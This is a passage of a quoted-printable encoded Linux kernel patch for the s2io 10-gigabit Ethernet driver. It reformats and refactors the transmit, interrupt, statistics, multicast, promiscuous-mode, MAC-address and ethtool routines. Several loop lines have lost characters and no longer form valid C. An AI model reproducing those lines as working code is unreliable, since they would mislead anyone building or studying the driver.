config_param *config;=0A= + = =0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= =0A= - spin_lock(&sp->tx_lock);=0A= + DBG_PRINT(TX_DBG, "%s: In S2IO Tx routine\n", dev->name);=0A= =0A= + spin_lock(&sp->tx_lock);=0A= queue =3D 0;=0A= - /* Multi FIFO Tx is disabled for now. */=0A= - if(!queue && tx_prio) {=0A= + /* Multi FIFO Tx is disabled for now. */=0A= + if (!queue && tx_prio) {=0A= u8 x =3D (skb->data)[5];=0A= - queue =3D x % sp->config.TxFIFONum;=0A= - } =0A= + queue =3D x % config->TxFIFONum;=0A= + }=0A= =0A= =0A= - off =3D (u16)sp->mac_control.tx_curr_put_info[queue].offset;=0A= - off1 =3D (u16)sp->mac_control.tx_curr_get_info[queue].offset;=0A= - txd_len =3D sp->mac_control.txdl_len;=0A= - txdp =3D sp->mac_control.txdl_start[queue] + (sp->config.MaxTxDs* off);=0A= + off =3D (u16) mac_control->tx_curr_put_info[queue].offset;=0A= + off1 =3D (u16) mac_control->tx_curr_get_info[queue].offset;=0A= + txd_len =3D mac_control->txdl_len;=0A= + txdp =3D=0A= + mac_control->txdl_start[queue] + (config->MaxTxDs * off);=0A= =0A= /* Avoid "put" pointer going beyond "get" pointer */=0A= if ((txdp->Host_Control) ||=0A= - (((off+1) % (sp->mac_control.tx_curr_put_info[queue].fifo_len+1)) = =3D=3D off1)) {=0A= - printk("################################################\n");=0A= - printk("No free TXDs for now, put: 0x%x, get:0x%x\n",off,off1);=0A= - printk("################################################\n");=0A= + (((off +=0A= + 1) % (mac_control->tx_curr_put_info[queue].fifo_len + 1))=0A= + =3D=3D off1)) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "No free TXDs for now, put: 0x%x, get:0x%x\n",=0A= + off, off1);=0A= goto no_txd;=0A= }=0A= -=0A= - #ifdef NETIF_F_TSO=0A= +#ifdef NETIF_F_TSO=0A= mss =3D skb_shinfo(skb)->tso_size;=0A= - if(mss) {=0A= + if (mss) {=0A= txdp->Control_1 |=3D TXD_TCP_LSO_EN;=0A= txdp->Control_1 |=3D TXD_TCP_LSO_MSS(mss);=0A= }=0A= - #endif=0A= +#endif=0A= =0A= frg_cnt =3D skb_shinfo(skb)->nr_frags;=0A= frg_len =3D skb->len - skb->data_len;=0A= =0A= - txdp->Host_Control =3D (dmaaddr_t)skb;=0A= + txdp->Host_Control =3D (unsigned long) skb;=0A= txdp->Buffer_Pointer =3D pci_map_single=0A= - (sp->pdev, skb->data, frg_len, PCI_DMA_TODEVICE);=0A= - if(skb->ip_summed =3D=3D CHECKSUM_HW) {=0A= - txdp->Control_2 |=3D (TXD_TX_CKO_IPV4_EN | TXD_TX_CKO_TCP_EN |=0A= - TXD_TX_CKO_UDP_EN);=0A= + (sp->pdev, skb->data, frg_len, PCI_DMA_TODEVICE);=0A= + if (skb->ip_summed =3D=3D CHECKSUM_HW) {=0A= + txdp->Control_2 |=3D=0A= + (TXD_TX_CKO_IPV4_EN | TXD_TX_CKO_TCP_EN |=0A= + TXD_TX_CKO_UDP_EN);=0A= }=0A= - txdp->Control_2 |=3D TXD_INT_TYPE_UTILZ;=0A= +=0A= + txdp->Control_2 |=3D config->TxIntrType;=0A= =0A= /* The NIC is made the owner of the TxDL */=0A= txdp->Control_1 |=3D (TXD_BUFFER0_SIZE(frg_len) |=0A= - TXD_GATHER_CODE_FIRST); =0A= + TXD_GATHER_CODE_FIRST);=0A= txdp->Control_1 |=3D TXD_LIST_OWN_XENA;=0A= =0A= /* If the SKB is fragmented, each fragment is put into a new Tx buffer. = */=0A= - for(i=3D0;ifrags[i];=0A= txdp++;=0A= - txdp->Buffer_Pointer =3D pci_map_single=0A= - (sp->pdev, page_address(frag->page)+frag->page_offset, =0A= - frag->size, PCI_DMA_TODEVICE);=0A= + txdp->Buffer_Pointer =3D (u64) pci_map_single=0A= + (sp->pdev,=0A= + page_address(frag->page) + frag->page_offset,=0A= + frag->size, PCI_DMA_TODEVICE);=0A= txdp->Control_1 |=3D TXD_BUFFER0_SIZE(frag->size);=0A= }=0A= txdp->Control_1 |=3D TXD_GATHER_CODE_LAST;=0A= =0A= /* To Update the TxDL pointer into the XENA nic. */=0A= - tx_fifo =3D sp->mac_control.tx_FIFO_start[queue];=0A= - val64=3D(sp->mac_control.txdl_start_phy[queue]+=0A= - (sizeof(TxD_t)*txd_len*off));=0A= + tx_fifo =3D mac_control->tx_FIFO_start[queue];=0A= + val64 =3D (mac_control->txdl_start_phy[queue] +=0A= + (sizeof(TxD_t) * txd_len * off));=0A= write64(&tx_fifo->TxDL_Pointer, val64);=0A= =0A= val64 =3D (TX_FIFO_LAST_TXD_NUM(frg_cnt) | TX_FIFO_FIRST_LIST |=0A= - TX_FIFO_LAST_LIST);=0A= - #ifdef NETIF_F_TSO=0A= - if(mss)=0A= + TX_FIFO_LAST_LIST);=0A= +#ifdef NETIF_F_TSO=0A= + if (mss)=0A= val64 |=3D TX_FIFO_SPECIAL_FUNC;=0A= - #endif=0A= +#endif=0A= write64(&tx_fifo->List_Control, val64);=0A= =0A= /*Incrementing offset */=0A= off++;=0A= - off %=3D sp->mac_control.tx_curr_put_info[queue].fifo_len+1;=0A= - sp->mac_control.tx_curr_put_info[queue].offset =3D off;=0A= + off %=3D mac_control->tx_curr_put_info[queue].fifo_len + 1;=0A= + mac_control->tx_curr_put_info[queue].offset =3D off;=0A= =0A= /* Update the time when the last Tx happened */=0A= dev->trans_start =3D jiffies;=0A= =0A= spin_unlock(&sp->tx_lock);=0A= -return SUCCESS;=0A= -=0A= -/*=0A= - * If no free buffers are available in any of the FIFOS, we =0A= - * save the SKB and stop the Tx queue. So if the queue is not=0A= - * started again within the timeout period, the watch dog timer=0A= - * will shedule a timer function which does the necessary cleanup=0A= - * and restart the device. The timeout period is 5 secs. So if the =0A= - * Tx queue is not cleaned up within this duration, the device is =0A= - * defnitely stuck in some internal loop, hence we force a reset on=0A= - * the NIC and restart it. =0A= - */=0A= -no_txd:=0A= - //sp->tx_pkt_ptr =3D skb;=0A= - printk("Queue full condition\n");=0A= - netif_stop_queue(dev);=0A= + return SUCCESS;=0A= =0A= + no_txd:=0A= spin_unlock(&sp->tx_lock);=0A= -return 1;=0A= + netif_stop_queue(dev);=0A= + return 1;=0A= }=0A= =0A= /*=0A= @@ -2417,17 +2512,22 @@ static irqreturn_t s2io_isr(int irq, voi=0A= void s2io_isr(int irq, void *dev_id, struct pt_regs *regs)=0A= #endif=0A= {=0A= - struct net_device *dev =3D (struct net_device *)dev_id;=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= - #ifndef CONFIGURE_NAPI_SUPPORT=0A= - int i,ret;=0A= - #endif=0A= + struct net_device *dev =3D (struct net_device *) dev_id;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +#ifndef CONFIGURE_NAPI_SUPPORT=0A= + int i, ret;=0A= +#endif=0A= u64 reason =3D 0, general_mask =3D 0;=0A= unsigned long flags;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= =0A= spin_lock_irqsave(&sp->isr_lock, flags);=0A= - =0A= +=0A= /* Identify the cause for interrupt and call the appropriate=0A= * interrupt handler. Causes for the interrupt could be;=0A= * 1. Rx of packet.=0A= @@ -2437,14 +2537,14 @@ void s2io_isr(int irq, void *dev_id, str=0A= */=0A= reason =3D read64(&bar0->general_int_status);=0A= =0A= - if(!reason) {=0A= - /* The interrupt was not raised by Xena. */=0A= + if (!reason) {=0A= + /* The interrupt was not raised by Xena. */=0A= spin_unlock_irqrestore(&sp->isr_lock, flags);=0A= - #ifdef KERN_26=0A= +#ifdef KERN_26=0A= return IRQ_NONE;=0A= - #else=0A= +#else=0A= return;=0A= - #endif=0A= +#endif=0A= }=0A= /* Mask the interrupts on the NIC */=0A= general_mask =3D read64(&bar0->general_int_mask);=0A= @@ -2455,25 +2555,28 @@ void s2io_isr(int irq, void *dev_id, str=0A= #endif=0A= =0A= /* If Intr is because of Tx Traffic */=0A= - if(reason & GEN_INTR_TXTRAFFIC)=0A= + if (reason & GEN_INTR_TXTRAFFIC)=0A= txIntrHandler(sp);=0A= =0A= /* If Intr is because of Link status change or error */=0A= - if(reason & (GEN_ERROR_INTR)) =0A= + if (reason & (GEN_ERROR_INTR))=0A= alarmIntrHandler(sp);=0A= =0A= #ifdef CONFIGURE_NAPI_SUPPORT=0A= - if(reason & GEN_INTR_RXTRAFFIC) { =0A= - if(netif_rx_schedule_prep(dev)) {=0A= - en_dis_able_NicIntrs(sp,RX_TRAFFIC_INTR,DISABLE_INTRS); =0A= - /* We retake the snap shot of the general interrupt register. */=0A= + if (reason & GEN_INTR_RXTRAFFIC) {=0A= + if (netif_rx_schedule_prep(dev)) {=0A= + en_dis_able_NicIntrs(sp, RX_TRAFFIC_INTR,=0A= + DISABLE_INTRS);=0A= + /* We retake the snap shot of the general interrupt =0A= + * register.=0A= + */=0A= general_mask =3D read64(&bar0->general_int_mask);=0A= __netif_rx_schedule(dev);=0A= }=0A= }=0A= #else=0A= /* If Intr is because of Rx Traffic */=0A= - if(reason & GEN_INTR_RXTRAFFIC) =0A= + if (reason & GEN_INTR_RXTRAFFIC)=0A= rxIntrHandler(sp);=0A= #endif=0A= =0A= @@ -2482,29 +2585,34 @@ void s2io_isr(int irq, void *dev_id, str=0A= * reallocate the buffers.=0A= */=0A= #if 1=0A= - for(i=3D0;iconfig.RxRingNum;i++) {=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= int rxb_size =3D atomic_read(&sp->rx_bufs_left[i]);=0A= - int level =3D rx_buffer_level(sp, rxb_size,i);=0A= - =0A= - if((level =3D=3D PANIC) && (!TASKLET_IN_USE)) {=0A= - DBG_PRINT(ERR_DBG,"%s: Rx BD hit ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"PANIC levels\n");=0A= - if((ret =3D fill_rx_buffers(sp,i)) =3D=3D -ENOMEM) {=0A= - DBG_PRINT(ERR_DBG,"%s:Out of = memory",dev->name);=0A= - DBG_PRINT(ERR_DBG," in ISR!!\n");=0A= - write64(&bar0->general_int_mask, general_mask);=0A= - spin_unlock_irqrestore(&sp->isr_lock, flags);=0A= - #ifdef KERN_26=0A= + int level =3D rx_buffer_level(sp, rxb_size, i);=0A= +=0A= + if ((level =3D=3D PANIC) && (!TASKLET_IN_USE)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Rx BD hit ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "PANIC levels\n");=0A= + if ((ret =3D fill_rx_buffers(sp, i)) =3D=3D -ENOMEM) {=0A= + DBG_PRINT(ERR_DBG, "%s:Out of memory",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, " in ISR!!\n");=0A= + write64(&bar0->general_int_mask,=0A= + general_mask);=0A= + spin_unlock_irqrestore(&sp->isr_lock,=0A= + flags);=0A= +#ifdef KERN_26=0A= return -ENOMEM;=0A= - #else=0A= - return;=0A= - #endif =0A= +#else=0A= + return;=0A= +#endif=0A= }=0A= - clear_bit(0,(unsigned long *)(&sp->tasklet_status));=0A= - } else if((level=3D=3DLOW) && (!atomic_read(&sp->tasklet_status))){=0A= + clear_bit(0,=0A= + (unsigned long *) (&sp->tasklet_status));=0A= + } else if ((level =3D=3D LOW)=0A= + && (!atomic_read(&sp->tasklet_status))) {=0A= tasklet_schedule(&sp->task);=0A= }=0A= - =0A= +=0A= }=0A= #else=0A= tasklet_schedule(&sp->task);=0A= @@ -2514,9 +2622,9 @@ void s2io_isr(int irq, void *dev_id, str=0A= write64(&bar0->general_int_mask, general_mask);=0A= =0A= spin_unlock_irqrestore(&sp->isr_lock, flags);=0A= - #ifdef KERN_26=0A= +#ifdef KERN_26=0A= return IRQ_HANDLED;=0A= - #endif=0A= +#endif=0A= }=0A= =0A= /*=0A= @@ -2530,12 +2638,19 @@ void s2io_isr(int irq, void *dev_id, str=0A= */=0A= struct net_device_stats *s2io_get_stats(struct net_device *dev)=0A= {=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= -=0A= - sp->stats.tx_errors =3D sp->mac_control.StatsInfo->tmac_any_err_frms;=0A= - sp->stats.rx_errors =3D sp->mac_control.StatsInfo->rmac_drop_frms;=0A= - sp->stats.multicast =3D sp->mac_control.StatsInfo->rmac_vld_mcst_frms;=0A= - sp->stats.rx_length_errors =3D = sp->mac_control.StatsInfo->rmac_long_frms;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= + = =0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + sp->stats.tx_errors =3D mac_control->StatsInfo->tmac_any_err_frms;=0A= + sp->stats.rx_errors =3D mac_control->StatsInfo->rmac_drop_frms;=0A= + sp->stats.multicast =3D=0A= + mac_control->StatsInfo->rmac_vld_mcst_frms;=0A= + sp->stats.rx_length_errors =3D=0A= + mac_control->StatsInfo->rmac_long_frms;=0A= =0A= return (&sp->stats);=0A= }=0A= @@ -2552,116 +2667,135 @@ struct net_device_stats *s2io_get_stats(=0A= * determine, if multicast address must be enabled or if promiscuous = mode=0A= * is to be disabled etc.=0A= */=0A= -void s2io_set_multicast(struct net_device *dev)=0A= +static void s2io_set_multicast(struct net_device *dev)=0A= {=0A= - int i,j,prev_cnt;=0A= + int i, j, prev_cnt;=0A= struct dev_mc_list *mclist;=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64 =3D 0, multi_mac =3D 0x010203040506, mask =3D 0xfeffffffffff;=0A= u64 dis_addr =3D 0xffffffffffff, mac_addr =3D 0;=0A= + void *add;=0A= =0A= - if((dev->flags & IFF_ALLMULTI) && (!sp->m_cast_flg)) {=0A= - /* Enable all Multicast addresses */=0A= + if ((dev->flags & IFF_ALLMULTI) && (!sp->m_cast_flg)) {=0A= + /* Enable all Multicast addresses */=0A= write64(&bar0->rmac_addr_data0_mem,=0A= - RMAC_ADDR_DATA0_MEM_ADDR(multi_mac));=0A= - write64(&bar0->rmac_addr_data0_mem,=0A= - RMAC_ADDR_DATA0_MEM_ADDR(mask));=0A= -=0A= - val64 =3D RMAC_ADDR_CMD_MEM_WE | =0A= - RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= - RMAC_ADDR_CMD_MEM_OFFSET(MAC_MC_ALL_MC_ADDR_OFFSET);=0A= + RMAC_ADDR_DATA0_MEM_ADDR(multi_mac));=0A= + write64(&bar0->rmac_addr_data1_mem,=0A= + RMAC_ADDR_DATA1_MEM_MASK(mask));=0A= +=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(MAC_MC_ALL_MC_ADDR_OFFSET);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= - /* Wait till command completes */=0A= + /* Wait till command completes */=0A= waitForCmdComplete(sp);=0A= =0A= sp->m_cast_flg =3D 1;=0A= sp->all_multi_pos =3D MAC_MC_ALL_MC_ADDR_OFFSET;=0A= - return;=0A= - } else if((dev->flags & IFF_ALLMULTI)&&(sp->m_cast_flg)) {=0A= - /* Disable all Multicast addresses */=0A= + } else if ((dev->flags & IFF_ALLMULTI) && (sp->m_cast_flg)) {=0A= + /* Disable all Multicast addresses */=0A= write64(&bar0->rmac_addr_data0_mem,=0A= - RMAC_ADDR_DATA0_MEM_ADDR(dis_addr));=0A= + RMAC_ADDR_DATA0_MEM_ADDR(dis_addr));=0A= =0A= - val64 =3D RMAC_ADDR_CMD_MEM_WE | =0A= - RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= - RMAC_ADDR_CMD_MEM_OFFSET(sp->all_multi_pos);=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(sp->all_multi_pos);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= - /* Wait till command completes */=0A= + /* Wait till command completes */=0A= waitForCmdComplete(sp);=0A= =0A= sp->m_cast_flg =3D 0;=0A= sp->all_multi_pos =3D 0;=0A= - return;=0A= }=0A= =0A= - if((dev->flags & IFF_PROMISC) &&(!sp->promisc_flg)) {=0A= - /* Put the NIC into promiscuous mode */=0A= - val64 =3D MAC_CFG_RMAC_PROM_ENABLE;=0A= - write64(&bar0->mac_cfg,val64);=0A= + if ((dev->flags & IFF_PROMISC) && (!sp->promisc_flg)) {=0A= + /* Put the NIC into promiscuous mode */=0A= + add =3D (void *) &bar0->mac_cfg;=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= + val64 |=3D MAC_CFG_RMAC_PROM_ENABLE;=0A= +=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) val64, add);=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) (val64 >> 32), (add + 4));=0A= +=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= sp->promisc_flg =3D 1;=0A= - DBG_PRINT(ERR_DBG,"%s: entered promiscuous mode\n",dev->name);=0A= - return;=0A= - } else if(!(dev->flags & IFF_PROMISC) &&(sp->promisc_flg)) {=0A= - /* Remove the NIC from promiscuous mode */=0A= + DBG_PRINT(ERR_DBG, "%s: entered promiscuous mode\n",=0A= + dev->name);=0A= + } else if (!(dev->flags & IFF_PROMISC) && (sp->promisc_flg)) {=0A= + /* Remove the NIC from promiscuous mode */=0A= + add =3D (void *) &bar0->mac_cfg;=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= + val64 &=3D ~MAC_CFG_RMAC_PROM_ENABLE;=0A= +=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) val64, add);=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) (val64 >> 32), (add + 4));=0A= +=0A= val64 =3D read64(&bar0->mac_cfg);=0A= - val64 =3D ~MAC_CFG_RMAC_PROM_ENABLE;=0A= - write64(&bar0->mac_cfg,val64);=0A= sp->promisc_flg =3D 0;=0A= - DBG_PRINT(ERR_DBG,"%s: left promiscuous mode\n",dev->name);=0A= - return;=0A= + DBG_PRINT(ERR_DBG, "%s: left promiscuous mode\n",=0A= + dev->name);=0A= }=0A= =0A= /* Update individual M_CAST address list*/=0A= - if((!sp->m_cast_flg) && dev->mc_count) {=0A= - if(dev->mc_count > =0A= - (MAX_ADDRS_SUPPORTED-MAC_MC_ADDR_START_OFFSET-1)) {=0A= - DBG_PRINT(ERR_DBG,"%s: No more Rx filters ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"can be added, please enable ");=0A= - DBG_PRINT(ERR_DBG,"ALL_MULTI instead\n");=0A= + if ((!sp->m_cast_flg) && dev->mc_count) {=0A= + if (dev->mc_count >=0A= + (MAX_ADDRS_SUPPORTED - MAC_MC_ADDR_START_OFFSET - 1)) {=0A= + DBG_PRINT(ERR_DBG, "%s: No more Rx filters ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "can be added, please enable ");=0A= + DBG_PRINT(ERR_DBG, "ALL_MULTI instead\n");=0A= return;=0A= }=0A= - =0A= +=0A= prev_cnt =3D sp->mc_addr_count;=0A= sp->mc_addr_count =3D dev->mc_count;=0A= =0A= /* Clear out the previous list of Mc in the H/W. */=0A= - for(i=3D0; irmac_addr_data0_mem,=0A= - RMAC_ADDR_DATA0_MEM_ADDR(dis_addr));=0A= - val64 =3D RMAC_ADDR_CMD_MEM_WE | =0A= - RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= - RMAC_ADDR_CMD_MEM_OFFSET(MAC_MC_ADDR_START_OFFSET+i);=0A= + RMAC_ADDR_DATA0_MEM_ADDR(dis_addr));=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET=0A= + (MAC_MC_ADDR_START_OFFSET + i);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= =0A= /* Wait for command completes */=0A= - if(waitForCmdComplete(sp)) {=0A= - DBG_PRINT(ERR_DBG,"%s: Adding ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"Multicasts failed\n");=0A= + if (waitForCmdComplete(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Adding ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Multicasts failed\n");=0A= return;=0A= }=0A= }=0A= =0A= - /* Create the new Rx filter list and update the same in H/W.*/=0A= - for(i=3D0, mclist =3D dev->mc_list; i < dev->mc_count; =0A= - i++, mclist =3D mclist->next) {=0A= - memcpy(sp->usr_addrs[i].addr, mclist->dmi_addr, =0A= - ETH_ALEN);=0A= - for(j=3D0;jmc_list; i < dev->mc_count;=0A= + i++, mclist =3D mclist->next) {=0A= + memcpy(sp->usr_addrs[i].addr, mclist->dmi_addr,=0A= + ETH_ALEN);=0A= + for (j =3D 0; j < ETH_ALEN; j++) {=0A= mac_addr |=3D mclist->dmi_addr[j];=0A= mac_addr <<=3D 8;=0A= }=0A= write64(&bar0->rmac_addr_data0_mem,=0A= - RMAC_ADDR_DATA0_MEM_ADDR(mac_addr));=0A= - val64 =3D RMAC_ADDR_CMD_MEM_WE | =0A= - RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= - RMAC_ADDR_CMD_MEM_OFFSET (i+ MAC_MC_ADDR_START_OFFSET);=0A= + RMAC_ADDR_DATA0_MEM_ADDR(mac_addr));=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(i +=0A= + MAC_MC_ADDR_START_OFFSET);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= =0A= /* Wait for command completes */=0A= - if(waitForCmdComplete(sp)) {=0A= - DBG_PRINT(ERR_DBG,"%s: Adding ",dev->name);=0A= - DBG_PRINT(ERR_DBG,"Multicasts failed\n");=0A= + if (waitForCmdComplete(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Adding ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Multicasts failed\n");=0A= return;=0A= }=0A= }=0A= @@ -2681,14 +2815,14 @@ void s2io_set_multicast(struct net_devic=0A= */=0A= int s2io_set_mac_addr(struct net_device *dev, void *new_mac)=0A= {=0A= - nic_t *sp =3D (nic_t *)dev->priv;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= - struct sockaddr *sa =3D (struct sockaddr *)new_mac;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + struct sockaddr *sa =3D (struct sockaddr *) new_mac;=0A= u8 *addr;=0A= register u64 val64, mac_addr =3D 0;=0A= int i;=0A= =0A= - if(netif_running(dev))=0A= + if (netif_running(dev))=0A= netif_stop_queue(dev);=0A= =0A= /* =0A= @@ -2696,25 +2830,27 @@ int s2io_set_mac_addr(struct net_device =0A= * change on the device address registered with the OS. It will be=0A= * at offset 0. =0A= */=0A= - addr =3D (u8 *)(&sa->sa_data);=0A= - for(i=3D0;isa_data);=0A= + for (i =3D 0; i < ETH_ALEN; i++) {=0A= mac_addr <<=3D 8;=0A= mac_addr |=3D addr[i];=0A= }=0A= =0A= - write64(&bar0->rmac_addr_data0_mem,RMAC_ADDR_DATA0_MEM_ADDR(mac_addr));=0A= - val64 =3D RMAC_ADDR_CMD_MEM_WE | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= - RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= + write64(&bar0->rmac_addr_data0_mem,=0A= + RMAC_ADDR_DATA0_MEM_ADDR(mac_addr));=0A= + val64 =3D=0A= + RMAC_ADDR_CMD_MEM_WE | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= write64(&bar0->rmac_addr_cmd_mem, val64);=0A= /* Wait till command completes */=0A= - if(waitForCmdComplete(sp)) {=0A= - DBG_PRINT(ERR_DBG,"%s: set_mac_addr failed\n",dev->name);=0A= + if (waitForCmdComplete(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: set_mac_addr failed\n", dev->name);=0A= return FAILURE;=0A= }=0A= =0A= memcpy(dev->dev_addr, &sa->sa_data, ETH_ALEN);=0A= - =0A= - if(netif_queue_stopped(dev)) =0A= +=0A= + if (netif_queue_stopped(dev))=0A= netif_wake_queue(dev);=0A= =0A= return SUCCESS;=0A= @@ -2734,17 +2870,16 @@ int s2io_set_mac_addr(struct net_device =0A= * the NIC.=0A= */=0A= #define SPEED_10000 10000=0A= -static int s2io_ethtool_sset(nic_t *sp, struct ethtool_cmd *info)=0A= +static int s2io_ethtool_sset(nic_t * sp, struct ethtool_cmd *info)=0A= {=0A= - if( (info->autoneg =3D=3D AUTONEG_ENABLE) || =0A= - (info->speed !=3D SPEED_10000) ||=0A= - (info->duplex !=3D DUPLEX_FULL) ) =0A= - return -EINVAL;=0A= + if ((info->autoneg =3D=3D AUTONEG_ENABLE) ||=0A= + (info->speed !=3D SPEED_10000) || (info->duplex !=3D DUPLEX_FULL))=0A= + return -EINVAL;=0A= else {=0A= s2io_close(sp->dev);=0A= s2io_open(sp->dev);=0A= }=0A= - =0A= +=0A= return 0;=0A= }=0A= =0A= @@ -2759,21 +2894,21 @@ static int s2io_ethtool_sset(nic_t *sp, =0A= * Description:=0A= * Returns link specefic information like speed, duplex etc.. to = ethtool.=0A= */=0A= -static void s2io_ethtool_gset(nic_t *sp, struct ethtool_cmd *info)=0A= +static void s2io_ethtool_gset(nic_t * sp, struct ethtool_cmd *info)=0A= {=0A= - info->supported =3D (SUPPORTED_10000baseT_Full | SUPPORTED_FIBRE);=0A= + info->supported =3D (SUPPORTED_10000baseT_Full | SUPPORTED_FIBRE);=0A= info->advertising =3D (SUPPORTED_10000baseT_Full | SUPPORTED_FIBRE);=0A= info->port =3D PORT_FIBRE;=0A= /* info->transceiver?? TODO */=0A= - =0A= - if(netif_carrier_ok(sp->dev)) {=0A= +=0A= + if (netif_carrier_ok(sp->dev)) {=0A= info->speed =3D 10000;=0A= info->duplex =3D DUPLEX_FULL;=0A= } else {=0A= info->speed =3D -1;=0A= info->duplex =3D -1;=0A= }=0A= - =0A= +=0A= info->autoneg =3D AUTONEG_DISABLE;=0A= }=0A= =0A= @@ -2788,17 +2923,17 @@ static void s2io_ethtool_gset(nic_t *sp,=0A= * Description:=0A= * Returns driver specefic information like name, version etc.. to = ethtool.=0A= */=0A= -static void s2io_ethtool_gdrvinfo(nic_t *sp, struct ethtool_drvinfo = *info)=0A= +static void s2io_ethtool_gdrvinfo(nic_t * sp, struct ethtool_drvinfo = *info)=0A= {=0A= strncpy(info->driver, sp->name, 32);=0A= - strncpy(info->version, "", 32); =0A= + strncpy(info->version, "", 32);=0A= strncpy(info->fw_version, "", 32);=0A= strncpy(info->bus_info, sp->pdev->slot_name, 32);=0A= - #if defined(ETHTOOL_GREGS)=0A= - info->regdump_len =3D XENA_REG_SPACE;=0A= - #endif=0A= - info->eedump_len =3D XENA_EEPROM_SPACE;=0A= - info->testinfo_len =3D S2IO_TEST_LEN;=0A= +#if defined(ETHTOOL_GREGS)=0A= + info->regdump_len =3D XENA_REG_SPACE;=0A= +#endif=0A= + info->eedump_len =3D XENA_EEPROM_SPACE;=0A= + info->testinfo_len =3D S2IO_TEST_LEN;=0A= }=0A= =0A= /*=0A= @@ -2814,18 +2949,18 @@ static void s2io_ethtool_gdrvinfo(nic_t =0A= * Dumps the entire register space of xFrame NIC into the user given = buffer =0A= * area.=0A= */=0A= -static void s2io_ethtool_gregs(nic_t *sp, struct ethtool_regs *regs, =0A= - u8 *reg_space)=0A= +static void s2io_ethtool_gregs(nic_t * sp, struct ethtool_regs *regs,=0A= + u8 * reg_space)=0A= {=0A= int i;=0A= u64 reg;=0A= - =0A= +=0A= regs->len =3D XENA_REG_SPACE;=0A= regs->version =3D sp->pdev->subsystem_device;=0A= =0A= - for(i=3D0; ilen; i +=3D 8) {=0A= - reg =3D read64((void *)(sp->bar0+i));=0A= - memcpy((reg_space+i), ®, 8);=0A= + for (i =3D 0; i < regs->len; i +=3D 8) {=0A= + reg =3D read64((void *) (sp->bar0 + i));=0A= + memcpy((reg_space + i), ®, 8);=0A= }=0A= }=0A= =0A= @@ -2843,18 +2978,27 @@ static void s2io_ethtool_gregs(nic_t *sp=0A= */=0A= static void s2io_phy_id(unsigned long data)=0A= {=0A= - nic_t *sp =3D (nic_t *)data;=0A= - XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *)sp->bar0;=0A= + nic_t *sp =3D (nic_t *) data;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= u64 val64 =3D 0;=0A= + int ret;=0A= + u16 subid;=0A= =0A= - val64 =3D read64(&bar0->adapter_control);=0A= - if(val64 & 